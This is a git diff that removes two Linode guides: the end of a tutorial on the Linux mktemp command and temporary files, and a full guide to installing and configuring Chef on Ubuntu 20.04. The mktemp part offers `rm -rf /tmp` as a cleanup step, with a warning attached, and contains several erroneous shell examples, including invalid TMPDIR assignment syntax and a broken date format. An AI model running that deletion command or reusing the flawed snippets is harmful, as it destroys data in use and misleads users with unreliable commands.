4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Setting and Using Linux Environment Variables](/cloud/guides/how-to-set-linux-environment-variables/)' ---- - -The `mktemp` command is used in Linux and BSD derivative operating systems to create temporary files or directories. The temporary filename and directories can be named using a user-defined "template". This utility is installed by default on major Linux distributions. - -Using `mktemp` varies from a traditional method of naming files using the PID in scripts. The use of `mktemp` command allows a naming convention in a script that can be controlled by the script, and is more unlikely to collide with an existing temporary file, thus avoiding inadvertent temp file overwriting, or other undesirable collisions. - -This guide demonstrates where `mktemp` directives can be useful, and how to use templates to direct the formation of the file names. - -## Linux Temporary File and Directories: Use Cases - -Temporary files created by `mktemp` are owned by the user; commonly called from scripts to store data, in and among apps used within the script. It is a good practice to create temporary files in the `/tmp` directory, which is created by the operating system. - -The `mktemp` command is different from the `touch` command. `mktemp` creates files or directories that are flexible. It has features to ensure the file names are unique, generated randomly, and reduces accidental overwrite, or incorrect manipulation of an existing file, or directory. The `touch` command modifies the timestamp of a file and is traditionally used to create permanent files, while `mktemp` is used to create temporary files. - -A script or independent invocation of `mktemp` can also use a template that forms the names of the temp files and/or directories started by `mktemp`. - -**Use Case #1 - Create A Simple Temporary File** - -Invoking `mktemp` with no arguments creates a random file in the `/tmp` directory. The `/tmp` directory is the default directory for file creations unless specified otherwise. - -```command -mktemp -``` -```output -/tmp/tmp.df8N4EE9Y -``` - -**Use Case #2 - Create A Simple Temporary Directory** - -The `mktemp` command with the `-d` argument creates a temporary directory in the `/tmp` directory. - -```command -mktemp -d -``` -```output -/tmp/tmp.df8N4EE9Y -``` - -By default, `mktemp` command generates a random name that can be customized by passing a template argument. The template requires a minimum of three 'X' characters to be specified which indicates the places to be occupied by random characters. - -```command -tmp_dir=$(mktemp -d -t test-XXXX) -echo $tmp_dir -``` -```output -/tmp/test-Xsd2ewsd -``` - -The `mktemp` command uses the currently set environment variable `$TMPDIR` to place a new temporary directory. The default `$TMPDIR` value found by most shell scripts is the `/tmp` directory, or the other choice is the `/var/tmp` directory. The difference between `/tmp` and `/var/tmp` is that the data stored in `/var/tmp` directory is preserved between reboots and is more persistent than the data in `/tmp`. `/var/tmp` is not usually subjected to `systemctl` extensions that may control temporary files. - -### How mktemp Is Used By System Administrators - -The `mktemp` command declares an explicit file or directory that is meant to be temporary. Although the `/tmp` directory is often used for temporary files, applications used by multiple users and/or similar processes may create files using the same filename. For example, a single process can execute independently to create a file that can read, write, update, or delete the same file. This may cause a filename conflict requiring an administrative effort to rectify the problem. But, when a script calls `mktemp`, a unique filename is created that is unlikely to collide with an existing filename or directory having the same name. - -You can use `mktemp` independently or within scripts to: - -- Create temporary files and/or directories -- Test whether temporary file and/or directory creation is possible -- Create file or directory names that follow a specific identity pattern with added random characters generated from an invocation-assigned pattern -- Change the `TMPDIR` environmental variable to a custom directory other than the default `/tmp`, with an optional pattern generated from an invocation-assigned pattern. -- Keep temporary files and directories protected as to the ownership of the user rights spawning the invocation of the command, so that other uses of the temporary files and directories created are protected from other scripts, processes, and filename collision caused by other users. - -## How to Create a Temporary File - -The exact `mktemp` syntax is described in the [man(mktemp) pages](https://man7.org/linux/man-pages/man3/mktemp.3.html). Most POSIX-compliant systems use the same syntax as shown in the table below: - - -| Command | Description | -| ----------------------------- |-----------------------------------------------------------------------------| -| `mktemp` | Makes a temporary file in the default temporary directory | -| `mktemp -V` | Display mktemp version then exit | -| `mktemp -d` | Make a directory in the default temporary directory | -| `mktemp -p` | (implies `-t`) Uses the as a prefix; the `-t` option generates a path in the default temporary directory (as specified by the environmental variable `$TMPDIR`). | -| `mktemp -q` | Perform execution of the command quietly, meaning without success or failure messages | -| `mktemp -t` | Make a temporary filename, using a template, to be located in `/tmp` directory unless the `$TMPDIR` directory exists, and if it exists, make the file in the directory specified by the `$TMPDIR` value | - -## How to Create a Temporary Directory - -When `mktemp` is invoked with the `-d` argument, it creates a directory in `/tmp`. If there is an environmental variable `$TMPDIR`, then it creates a directory in the `$TMPDIR` directory. - -```command -mktemp -d -``` -```output -/tmp/tmp.sdasdas -``` - - -### How to Create a Temporary File Template - -A temporary file template can be used to differentiate the source or criteria by naming the file with a template. The `mktemp` template uses the letter "X" to be replaced by a random character in place of the “X” when used as an argument. Up to ten “X” characters in a row, for a total of ten places can be randomized in this way. - -The following command is used to create a file template, where "X" is replaced by randomized characters: - -```command -mktemp -t random-XXXXXXXX -``` -```output -/var/folders/gh/dbgxkdts6414dlmnflxbp2h80000gn/T/random-XXXXXXXX.4b5Dfmg4 -``` - -The following command which uses the `-d` argument to `mktemp` produces a directory in the same way. - -```command -mktemp -d random-XXXXXXXX -``` -```output -random-13EL42PM -``` - -You can view the above newly created temporary directory using the `ls -la` command. - -You can also add a suffix to a template while creating the directory as shown in the command below: - -```command -mktemp -d --suffix TODAY -``` -```output -/tmp/tmp.lmnflxbTODAY -``` - -## The TMPDIR Environment Variable - -The `TMPDIR` environmental variable enables you to specify a different path for you to store the temporary files. It is stored in a list that is available to applications and shell scripts. The `TMPDIR` variable permits many applications to know where the administrator has designated the storage of temporary directories, especially if the designation varies from the default use of the `/tmp` directory. The `/tmp` directory in some instances may be placed on special media like an SSD for speed purposes. To understand more on environment variables, see the Linode's guide on [Setting and Using Linux Environment Variables](/cloud/guides/how-to-set-linux-environment-variables/). - -On some Linux systems, the `TMPDIR` file is called or declared by `systemd-tempfiles`, a daemon that can be set to periodically clean files by creation date, or other attributes not covered in this guide. - -If the `TMPDIR` variable is changed, its value may only survive for the current session of the user or PID. When you reboot the system, it may default to `/tmp`, or the setting called by the `systemd-tempfiles.conf` file. When you restart a system or a session, or any other event, the `TMPDIR` is restored to its previous value. - -The `mktemp --tmpdir` argument changes the destination relative to the value set by the `$TMPDIR` value set in the environment. - -In the example command below, the `$TMPDIR` value is changed to a subdirectory, and `mktemp` applies its files to the new path: - -```command -$TMPDIR=(mktemp -d) -``` - -Template and other arguments could also be added to change the `$TMPDIR` value. An example of a date-codified directory is shown below. - -```command -root@localhost:/home# tmpdir=$(mktemp -d -t ci-$(date +%Y-m-%d-%H-%M-%S)-XXXXXXXXXX) -root@localhost:/home# echo $tmpdir -``` -```output -/var/folders/gh/dbgxkdts6414dlmnflxbp2h80000gn/T/ci-2022-m-28-22-46-25-XXXXXXXXXX.6lR6R7Az -``` - -## How to Delete Your Linux System’s Temp Files - -Cleaning the temporary files depends on the Linux version you are using. Current Linux systems using *systemd* use a process called *systemd-tempfiles*. Depending on the system version, and its implementation, the files, and process used for cleaning the temporary files, and directories have different configurations. - -It is a good practice to delete the temporary files in the `/tmp` directory of your system frequently. This takes up unnecessary space that could be used for other data or processes. Generally, files in the `/tmp` directory are removed by your system after every reboot. - -{{< note >}} -The temporary files in the `/var/tmp` directory are usually preserved between system reboots and are made available to the programs that require temporary files. The data stored in the `/var/tmp` is more persistent that the data in the `/tmp` directory. -{{< /note >}} - -The following section describes the different ways in which you can delete temporary files from your system. - -For the currently logged-in user, where the user has no other active processes, the `/tmp` directory is deleted by invoking the following command: - -```command -rm -rf /tmp -``` - -This deletes all `/tmp` files recursively through subdirectories and forces the deletion of all files for which the user has privileges. If the user is the root or sudo, then all files may be deleted, and this can be disruptive. Depending on the currently logged-in user rights, the `rm -rf /tmp` command may destroy files and directories that are otherwise in use. - -You can also use the prebuilt `find` command that is available in almost every Linux distribution. The `find` command allows you to find the files and directories that satisfy a specific condition. For example, the following `find` command finds and deletes all the temp files in the `/tmp` directory. - -```command -sudo find /tmp -type f -delete -``` - -The `trap` command can be used to manage the deletion of files made within a script. When the shell has finished its execution, the `trap` command allows the specified temporary files to be deleted. - -For example, if your script creates a temporary file and you want to delete it at each place where you exit your script, you can include a `trap` command at the start of your script that deletes the file on exit: - -```file -tempfile=/tmp/tmpdata -trap "rm -f $tempfile" EXIT -``` diff --git a/docs/guides/applications/configuration-management/chef/how-to-install-chef-on-ubuntu-20-04/index.md b/docs/guides/applications/configuration-management/chef/how-to-install-chef-on-ubuntu-20-04/index.md deleted file mode 100644 index 04771c8db22..00000000000 --- a/docs/guides/applications/configuration-management/chef/how-to-install-chef-on-ubuntu-20-04/index.md +++ /dev/null @@ -1,569 +0,0 @@ ---- -slug: how-to-install-chef-on-ubuntu-20-04 -title: "Install Chef on Ubuntu 20.04" -title_meta: "How to Install Chef on Ubuntu 20.04" -description: 'This guide provides a brief introduction to the Chef configuration management software and explains how to install and use it.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-10-17 -modified: 2022-11-28 -keywords: ['Install Chef','Configure Chef','Chef Ubuntu','Chef Server','Chef Workstation'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Chef Website](https://www.chef.io/)' -- '[Chef Overview](https://docs.chef.io/platform_overview/)' -- '[Chef Workstation documentation](https://docs.chef.io/workstation/)' -- '[Learn Chef training courses](https://learn.chef.io/)' -- '[Chef Workstation Downloads for Ubuntu](https://www.chef.io/downloads/tools/workstation?os=ubuntu)' -- '[Chef Workstation installation instructions](https://docs.chef.io/workstation/install_workstation/)' -- '[Chef Server Downloads for Ubuntu](https://www.chef.io/downloads/tools/infra-server?os=ubuntu)' -- '[Chef Server installation instructions](https://docs.chef.io/server/install_server/)' -- '[Chef Supermarket](https://supermarket.chef.io/)' -- '[Chef Supermarket documentation](https://docs.chef.io/workstation/knife_supermarket/)' -- '[Chef bootstrap documentation](https://docs.chef.io/install_bootstrap/)' ---- - -[Chef](https://www.chef.io/) is a free and open source *Infrastructure as Code* (IaC) application. It's a configuration management system that allows administrators to provision and manage infrastructure using automation. A complete Chef workflow includes one or more Chef Workstations, a Chef Server, and a set of nodes. This guide provides some background on how Chef works, and explains how to install and configure Chef on Ubuntu 20.04. - -## What is Chef? - -Chef is a IaC application for automating and streamlining the process of provisioning, configuring, deploying, and managing network nodes. It allows for continuous deployment and an automated environment. Chef can manage many types of components including servers, containers, and networking infrastructure. - -Chef operates using a hub-and-spoke architecture, with the master Chef Server at the center. One or more Chef Workstations interact with the Server, which automates the configuration of one or more Chef nodes. Configuration assets move from the workstation to the server and finally to the nodes. Workstations cannot interact with the nodes directly. The Chef infrastructure consists of the following components. - -- **Chef Workstation**: A workstation is a server for creating and testing configuration code. The code is then pushed to the Chef Server. Several workstations can interact with the same server, but each workstation only links to one server. The [Chef Workstation documentation](https://docs.chef.io/workstation/) contains more information on how to use the workstation. -- **Chef Server**: The Chef Server is the "command center" for the entire system. It stores and maintains all the configuration files, code, and scripts. A Chef Server includes many components, including a web server and PostgreSQL database. It is responsible for pushing the relevant assets to the various nodes and keeping track of the nodes under its management. Each server is highly capable, efficient, and robust, and is capable of managing a large number of nodes. -- **Chef Node**: The Chef Server deploys and manages a node using assets developed on the Chef Workstation. Each node is administered by a single Chef Server. Although it is dependent on the server, a Chef Node contains a Chef client. The client queries the server for updates and keeps the node up to date. - -The following illustration indicates the relationship between the three parts of the Chef system. - -![Chef Components](Chef-Components.png) - -The workstations use Chef commands, such as the `knife` directive, to interact with the server. Chef incorporates extra security and authentication into all of its operations, using public key encryption. However, the Chef system is complex and has a high learning curve. - -Chef uses an idiosyncratic terminology based on cooking vocabulary. Some of the more important terms include the following: - -- **Attribute**: Specifies a value for an item on a node. -- **Bookshelf**: Stores the various cookbooks and assets on a Chef Server using versioning control. -- **Chef-client**: Runs on the node, and is responsible for verifying whether the node is up-to-date with the assets stored on the server. -- **Chef-repo**: A directory on the Chef Workstation that contains the local cookbooks and configuration files. -- **Cookbook**: The primary method of managing nodes. It contains information describing the final state of a node. The Chef server and node use the cookbook to guide configuration. Cookbooks contain *recipes*, along with attributes, libraries, templates, and scripts. These cookbooks can be developed on the workstation or downloaded from the [Chef Supermarket](https://supermarket.chef.io/). -- **Environment**: Collects nodes into groups to better organize them. Similar configurations and scripts can be applied to the entire group. -- **Knife**: A Chef Workstation uses the `knife` tool to correspond with the Chef Server. A `knife` command usually takes the format `knife subcommand [ARGUMENT] (options)`. -- **Recipe**: A recipe is contained within a cookbook. It explains the resources to add, change, or run on the node. Recipes are written in Ruby. -- **Resource**: A resource is part of a recipe. It contains a type, name, and list of key-value pairs for a component. -- **Test Kitchen**: This is a workstation module to help users test recipes before deployment. - -Linode has a helpful [Beginner's Guide to Chef](/cloud/guides/beginners-guide-chef/). For detailed information about Chef, see the [Chef documentation](https://docs.chef.io/). Chef also makes the [Learn Chef](https://learn.chef.io/) training resource available. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. At least three Linode systems running Ubuntu 20.04 are required to implement a Chef system. One server is for the Chef Workstation, the second for the Chef Server, while a third represents a node under administration. Due to Chef's memory demands, the Chef Server requires a 8GB Linode. The other two servers can be 2GB Linodes. Both the Chef Server and Chef Workstation should be configured using the previous instructions. Chef is used to set up the target node. - -1. Ensure all Linode servers are updated using the following command. - - ```command - sudo apt update && sudo apt upgrade - ``` - -1. Assign a domain name to the Chef Server. For information on domain names and pointing the domain name to a Linode, see the [Linode DNS Manager guide](https://techdocs.akamai.com/cloud-computing/docs/dns-manager). - -1. Configure the host name of the Chef Server so it matches the domain name. This allows SSL certificate allocation to proceed normally. To set the host name of a Ubuntu server, use the command `sudo hostnamectl set-hostname `, replacing `` with the actual name of your domain. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## How to Install and Configure the Chef Server - -Because the Chef Server operates as a hub for the entire system, it is best to install and configure it first. The Chef Server uses a high amount of resources, so it is important to use a dedicated Linode with at least 8GB of memory. - -### How to Install the Chef Server - -The Chef Server Core can be downloaded using `wget`. The following steps demonstrate how to download the latest release of Chef for the Ubuntu 20.04 release. For other releases of Ubuntu, see the [Chef download page](https://www.chef.io/downloads/tools/infra-server?os=ubuntu). For more detailed instructions, see the [Chef Server installation page](https://docs.chef.io/server/install_server/). To install the Chef Server, follow these steps. - -1. Download the Chef Server core using `wget`. - - ```command - wget https://packages.chef.io/files/stable/chef-server/15.1.7/ubuntu/20.04/chef-server-core_15.1.7-1_amd64.deb - ``` - -1. Install the server core. - - ```command - sudo dpkg -i chef-server-core_*.deb - ``` - - ```output - Selecting previously unselected package chef-server-core. - (Reading database ... 108635 files and directories currently installed.) - Preparing to unpack chef-server-core_15.1.7-1_amd64.deb ... - Unpacking chef-server-core (15.1.7-1) ... - Setting up chef-server-core (15.1.7-1) ... - Thank you for installing Chef Infra Server! - ``` -1. For better security and to preserve server space, remove the downloaded `.deb` file. - - ```command - rm chef-server-core_*.deb - ``` - -1. Start the Chef server. Answer `yes` when prompted to accept the product licenses. - - {{< note respectIndent=false >}} -The installation process takes several minutes to complete. Upon a successful installation, the message `Chef Infra Server Reconfigured!` is displayed. - {{< /note >}} - - ```command - sudo chef-server-ctl reconfigure - ``` - -### How to Configure a Chef User and Organization - -To use Chef, configure an organization and at least one user on the Chef Server. This enables server access for workstations and nodes. To create these accounts, follow these steps. - -1. Create a `.chef` directory to store the keys. This should be a subdirectory located inside the home directory. - - ```command - mkdir .chef - ``` - -1. Use the `chef-server-ctl` command to create a user account for the Chef administrator. Additional user accounts can be created later. Replace the `USER_NAME`, `FIRST_NAME`, `LAST_NAME`, `EMAIL`, and `PASSWORD` fields with the relevant information. For the `--filename` argument, replace `USER_NAME.pem` with the user name used earlier in the command. - - ```command - sudo chef-server-ctl user-create USER_NAME FIRST_NAME LAST_NAME EMAIL 'PASSWORD' --filename ~/.chef/USER_NAME.pem - ``` - -1. Review the user list and confirm the account now exists. - - ```command - sudo chef-server-ctl user-list - ``` - - ```output - USER_NAME - ``` - -1. Create a new organization, also using the `chef-server-ctl` command. Replace `ORG_NAME` and `ORG_FULL_NAME` with the actual name of the organization. The `ORG_NAME` field must be all lower case. The value for `USER_NAME` must be the same name used in the `user-create` command. For the `--filename` argument, in `ORG_NAME.pem`, replace `ORG_NAME` with the organization name used elsewhere in the command. - - ```command - sudo chef-server-ctl org-create ORG_NAME "ORG_FULL_NAME" --association_user USER_NAME --filename ~/.chef/ORG_NAME.pem - ``` - -1. List the organizations to confirm the new organization is successfully created. - - ```command - sudo chef-server-ctl org-list - ``` - - ```output - ORG_NAME - ``` - -## How to Install and Configure a Chef Workstation - -A Chef Workstation is for users to create and test recipes. Any Linode with at least 2GB of memory can be used for this task. Unlike the Chef Server, a workstation can also be used for other tasks. However, in a larger organization hosting many users, it is often efficient to centralize workstation activities on one server hosting multiple accounts. - -### How to Install a Chef Workstation - -The steps for installing a Chef Workstation are similar to those for installing the Server. Download the correct file using `wget`, then install it. To install a Chef Workstation, follow these steps. - -1. Download the source files for the Chef Workstation. For different releases of the Workstation, or downloads for earlier releases, see the [Chef Workstation Downloads page](https://www.chef.io/downloads/tools/workstation?os=ubuntu). For more information on the installation process, see the [Chef Workstation Installation Documentation](https://docs.chef.io/workstation/install_workstation/). - - ```command - wget https://packages.chef.io/files/stable/chef-workstation/22.10.1013/ubuntu/20.04/chef-workstation_22.10.1013-1_amd64.deb - ``` - -1. Install the Chef Workstation. - - ```command - sudo dpkg -i chef-workstation_*.deb - ``` - - ```output - Thank you for installing Chef Workstation! - ``` - -1. Remove the source file. - - ```command - rm chef-workstation_*.deb - ``` - -1. Confirm the correct release of the Chef Workstation is installed. - - ```command - chef -v - ``` - - ```output - Chef Workstation version: 22.10.1013 - Chef Infra Client version: 17.10.0 - Chef InSpec version: 4.56.20 - Chef CLI version: 5.6.1 - Chef Habitat version: 1.6.521 - Test Kitchen version: 3.3.2 - Cookstyle version: 7.32.1 - ``` - -### How to Configure a Chef Workstation - -A few more items must be configured before the Workstation is operational. Tasks include generating a repository, editing the `hosts` file, and creating a subdirectory. To fully configure the workstation, follow these steps. - -1. Generate the `chef-repo` repository. This directory stores the Chef cookbooks and recipes. Enter `yes` when asked whether to accept the product licenses. - - ```command - chef generate repo chef-repo - ``` - - ```output - Your new Chef Infra repo is ready! Type `cd chef-repo` to enter it. - ``` - -1. Edit the `/etc/hosts` file. This file contains mappings between host names and their IP addresses. Add an entry for the Chef Server, containing the name of the server, which is also the domain name, and its IP address. In this example, this is indicated in the line `192.0.1.0 example.com`. There must also be an entry for the local server. This is the `192.0.2.0 chefworkstation` line in the example. This entry must contain the local IP address and the hostname of the server hosting the Chef Workstation. The file should resemble the following example. - - ```file {title="/etc/hosts" lang="conf"} - 127.0.0.1 localhost - 192.0.1.0 example.com - 192.0.2.0 chefworkstation - ``` - -1. Create a `.chef` subdirectory. This is where the `knife` file is stored, along with files for encryption and security. - - ```command - mkdir ~/chef-repo/.chef - cd chef-repo - ``` - -### How to Add RSA Private Keys - -RSA private keys enable better security between the Chef Server and associated workstations through the use of encryption. Earlier, RSA private keys were created on the Chef Server. Copying these keys to a workstation allows it to communicate with the server. To enable encryption using RSA private keys, follow these steps. - -{{< note >}} -SSH password authentication must be enabled on the Chef Server to complete the key exchange. If SSH password authentication has been disabled for better security, enable it again before proceeding. After the keys have been retrieved and added to the workstation, SSH password authentication can be disabled again. See the Linode guide to [How to Secure Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#ssh-daemon-options) for more information. -{{< /note >}} - -1. On the workstation, generate an RSA key pair. This key can be used to initially access the Chef server to copy over the private encryption files. - - ```command - ssh-keygen -b 4096 - ``` - - ```output - Generating public/private rsa key pair. - Enter file in which to save the key (/home/username/.ssh/id_rsa): - ``` - -1. Hit the **Enter** key to accept the default file names `id_rsa` and `id_rsa.pub`. Ubuntu stores these files in the `/home/username/.ssh` directory. - - ```output - Created directory '/home/username/.ssh'. - Enter passphrase (empty for no passphrase): - ``` - -1. Enter a password when prompted, then enter it again. An identifier and public key are saved to the directory. - - ```output - Your identification has been saved in /home/username/.ssh/id_rsa - Your public key has been saved in /home/username/.ssh/id_rsa.pub - ``` - -1. Copy the new public key from the workstation to the Chef Server. In the following command, use the account name for the Chef Server along with its IP address. - - ```command - ssh-copy-id username@192.0.1.0 - ``` - -1. Use the `scp` command to copy the `.pem` files from the Chef Server to the workstation. In the following example, replace `username` with the user account for the Chef Server and `192.0.1.0` with the actual Chef Server IP address. - - ```command - scp username@192.0.1.0:~/.chef/*.pem ~/chef-repo/.chef/ - ``` - - ```output - Enter passphrase for key '/home/username/.ssh/id_rsa': - username.pem 100% 1674 1.7MB/s 00:00 - testcompany.pem 100% 1678 4.7MB/s 00:00 - ``` - -1. List the contents of the `.chef` subdirectory to ensure the `.pem` files were successfully copied. - - ```command - ls ~/chef-repo/.chef - ``` - - ```output - username.pem testcompany.pem - ``` - -### How to Configure Git on a Chef Workstation - -A *version control system* helps the Chef Workstation track any changes to the cookbooks and restore earlier versions if necessary. This example uses Git, which is compatible with the Chef system. The following steps explain how to configure Git, initialize a Git repository, add new files, and commit them. - -1. Configure Git using the `git config` command. Replace `username` and `user@email.com` with your own values. - - ```command - git config --global user.name username - git config --global user.email user@email.com - ``` - -1. Add the `.chef` directory to the `.gitignore` file. This ensures system and auto-generated files are not shown in the output of `git status` and other Git commands. - - ```command - echo ".chef" > ~/chef-repo/.gitignore - ``` - -1. Ensure the `chef-repo` directory is the current working directory. Add and commit the existing files using `git add` and `git commit`. - - ```command - cd ~/chef-repo - git add . - git commit -m "initial commit" - ``` - - ```output - [master (root-commit) a3208a3] initial commit - 13 files changed, 343 insertions(+) - create mode 100644 .chef-repo.txt - ... - create mode 100644 policyfiles/README.md - ``` - -1. Run the `git status` command to ensure all files have been committed. - - ```command - git status - ``` - - ```output - On branch master - nothing to commit, working tree clean - ``` - -## How to Generate a Chef Cookbook - -To generate a new Chef cookbook, use the `chef generate` command. - -```command -chef generate cookbook my_cookbook -``` - -## How to Configure the Knife Utility - -The Chef Knife utility helps a Chef workstation communicate with the server. It provides a method of managing cookbooks, nodes, and the Chef environment. Chef uses the `config.rb` file in the `.chef` subdirectory to store the Knife configuration. To configure Knife, follow these steps. - -1. Create a `config.rb` file in the `~/chef-repo/.chef` directory. This example uses `vi`, but any text editor can be used. - - ```command - cd ~/chef-repo/.chef - vi config.rb - ``` - -1. Use the following `config.rb` file as an example of how to configure Knife. Copy this sample configuration to the file. - - ```file {title="~/chef-repo/.chef/config.rb" lang="ruby"} - current_dir = File.dirname(__FILE__) - log_level :info - log_location STDOUT - node_name 'node_name' - client_key "USER.pem" - validation_client_name 'ORG_NAME-validator' - validation_key "ORG_NAME-validator.pem" - chef_server_url 'https://example.com/organizations/ORG_NAME' - cache_type 'BasicFile' - cache_options( :path => "#{ENV['HOME']}/.chef/checksums" ) - cookbook_path ["#{current_dir}/../cookbooks"] - ``` - -1. Make the following changes: - - - `node_name` must be the name of the user account created when configuring the Chef Server. - - For `client_key`, replace `USER` with the user name associated with the `.pem` file, followed by `.pem`. - - `validation_client_name` requires the same `ORG_NAME` used when creating the organization followed by `-validator`. - - the `validation_key` field must contain the name used for `ORG_NAME` when the organization was created, followed by `-validator.pem`. - - For `chef_server_url`, change `example.com` to the name of the domain. Follow the domain name with `/organizations/` and the `ORG_NAME` used when creating the organization. - - Leave the remaining fields unchanged. - -1. Move back to the `chef-repo` directory and fetch the necessary SSL certificates from the server using the `knife fetch` command. - - {{< note respectIndent=false >}} -The SSL certificates were generated when the Chef server was installed. The certificates are self-signed. This means a certificate authority has not verified them. Before fetching the certificates, log in to the Chef server and ensure the hostname and fully qualified domain name (FQDN) are the same. These values can be confirmed using the commands `hostname` and `hostname -f`. - {{< /note >}} - - ```command - cd .. - knife ssl fetch - ``` - - ```output - Knife has no means to verify these are the correct certificates. You should verify the authenticity of these certificates after downloading. - Adding certificate for example.com in /home/username/chef-repo/.chef/trusted_certs/example.com.crt - ``` - -1. To confirm the `config.rb` file is correct, run the `knife client list` command. The relevant validator name should be displayed. - - ```command - knife client list - ``` - - ```output - testcompany-validator - ``` - -## How to Bootstrap a Node - -At this point, both the Chef Server and Chef Workstation are configured. They can now be used to bootstrap the node. The bootstrap process installs the chef client on the node and performs validation. The node can then retrieve any necessary updates from the Chef Server. To bootstrap the node, follow these steps. - -1. Log in to the target node, which is the node to be bootstrapped, and edit the `/etc/hosts` file. Add entries for the node, the Chef server domain name, and the workstation. The file should resemble the following example, using the actual names of the Chef Server, workstation, and the target node, along with their IP addresses. - - ```file {title="/etc/hosts" lang="conf"} - 127.0.0.1 localhost - 192.0.100.0 targetnode - 192.0.2.0 chefworkstation - 192.0.1.0 example.com - ``` - -1. Return to the Linode hosting the Chef Workstation and change the working directory to `~/chef-repo/.chef`. - - ```command - cd ~/chef-repo/.chef - ``` - -1. Bootstrap the node using the `knife bootstrap` command. Specify the IP address of the target node for `node_ip_address`. This is the address of the node to bootstrap. In the following example, use the actual user name and password for the account in place of `username` and `password`. Enter the name of the node in place of `nodename`. Answer `Y` when asked "Are you sure you want to continue connecting". - - {{< note respectIndent=false >}} -The option to bootstrap using key-pair authentication no longer appears to be supported. - {{< /note >}} - - ```command - knife bootstrap node_ip_address -U username -P password --sudo --use-sudo-password --node-name nodename - ``` - -1. Confirm the node has been successfully bootstrapped. List the client nodes using the `knife client list` command. All bootstrapped nodes should be listed. - - ```command - knife client list - ``` - - ```output - target-node - testcompany-validator - ``` - -1. Add the bootstrapped node to the workstation `/etc/hosts` file as follows. Replace `192.0.100.0 targetnode` with the IP address and name of the bootstrapped node. - - ```file {title="/etc/hosts" lang="conf"} - 127.0.0.1 localhost - 192.0.1.0 example.com - 192.0.2.0 chefworkstation - 192.0.100.0 targetnode - ``` - -## How to Download and Apply a Cookbook (Optional) - -A cookbook is the most efficient way of keeping target nodes up to date. In addition, a cookbook can delete the `validation.pem` file that was created on the node when it was bootstrapped. It is important to delete this file for security reasons. - -It is not mandatory to download or create cookbooks to use Chef. But this section provides a brief example of how to download a cookbook and apply it to a node. - -1. On the Chef workstation, change to the `~/chef-repo/.chef` directory. - - ```command - cd ~/chef-repo/.chef - ``` - -1. Download the `cron-delvalidate` cookbook from the Chef Supermarket. For more information on the `supermarket` command see the [Chef supermarket documentation](https://docs.chef.io/workstation/knife_supermarket/). - - ```command - knife supermarket download cron-delvalidate - ``` - - ```output - Downloading cron-delvalidate from Supermarket at version 0.1.3 to /home/username/chef-repo/.chef/cron-delvalidate-0.1.3.tar.gz - Cookbook saved: /home/username/chef-repo/.chef/cron-delvalidate-0.1.3.tar.gz - ``` - -1. If the cookbook is downloaded as a `.tar.gz` file, use the `tar` command to extract it. Move the extracted directory to the `cookbooks` directory. - - ```command - tar -xf cron-delvalidate-0.1.3.tar.gz - cp -r cron-delvalidate ~/chef-repo/cookbooks/ - ``` - -1. Review the cookbook's `default.rb` file to see the recipe. This recipe is written in Ruby and demonstrates how a typical recipe is structured. It contains a cron job named `clientrun`. This job instantiates a new cron job to run the `chef-client` command on an hourly basis. It also removes the extraneous `validation.pem` file. - - ```file {title="~/chef-repo/cookbooks/cron-delvalidate/recipes/default.rb" lang="ruby"} - # - # Cookbook Name:: cron-delvalidate - # Recipe:: Chef-Client Cron & Delete Validation.pem - # - # - cron "clientrun" do - minute '0' - hour '*/1' - command "/usr/bin/chef-client" - action :create - end - - file "/etc/chef/validation.pem" do - action :delete - end - ``` - -1. Add the recipe to the run list for the node. In the following command, replace `nodename` with the name of the node. - - ```command - knife node run_list add nodename 'recipe[cron-delvalidate::default]' - ``` - - ```output - nodename: - run_list: recipe[cron-delvalidate::default] - ``` - -1. Upload the cookbook and its recipes to the Chef Server. - - ```command - knife cookbook upload cron-delvalidate - ``` - - ```output - Uploading cron-delvalidate [0.1.3] - Uploaded 1 cookbook. - ``` - -1. Run the `chef-client` command on the node using the `knife ssh` utility. This command causes the node to pull the recipes in its run list from the server. It also determines whether there are any updates. The Chef Server transmits the recipes to the target node. When the recipe runs, it deletes the file and installs a cron job to keep the node up to date in the future. In the following command, replace `nodename` with the actual name of the target node. Replace `username` with the name of a user account with `sudo` access. Enter the password for the account when prompted to do so. - - ```command - knife ssh 'name:nodename' 'sudo chef-client' -x username - ``` - - ```output - nodename Chef Infra Client, version 17.10.3 - nodename Patents: https://www.chef.io/patents - nodename Infra Phase starting - nodename Resolving cookbooks for run list: ["cron-delvalidate::default"] - nodename Synchronizing cookbooks: - nodename - cron-delvalidate (0.1.3) - nodename Installing cookbook gem dependencies: - nodename Compiling cookbooks... - nodename Loading Chef InSpec profile files: - nodename Loading Chef InSpec input files: - nodename Loading Chef InSpec waiver files: - nodename Converging 2 resources - nodename Recipe: cron-delvalidate::default - nodename * cron[clientrun] action create - nodename - add crontab entry for cron[clientrun] - nodename * file[/etc/chef/validation.pem] action delete (up to date) - nodename - nodename Running handlers: - nodename Running handlers complete - nodename Infra Phase complete, 1/2 resources updated in 03 seconds - ``` - -## Conclusion - -Chef is an infrastructure as code (IaC) application for automating the deployment and management of infrastructure nodes. The Chef architecture consists of the Chef Server, which stores all the procedures, and a Chef Workstation, where the infrastructure code is developed. The managed nodes communicate with the server to receive updates. To use Chef, install the Chef Server and Chef Workstation software. Share RSA keys between the server and workstation, and install version control and the Chef Knife utility on the workstation. Bootstrap the target nodes using the `knife bootstrap` utility. After a node is bootstrapped, it is possible to download cookbooks and recipes using the node's run list. For more information, see the [Chef documentation](https://docs.chef.io/). \ No newline at end of file diff --git a/docs/guides/applications/configuration-management/chef/install-a-chef-server-workstation-on-ubuntu-18-04/index.md 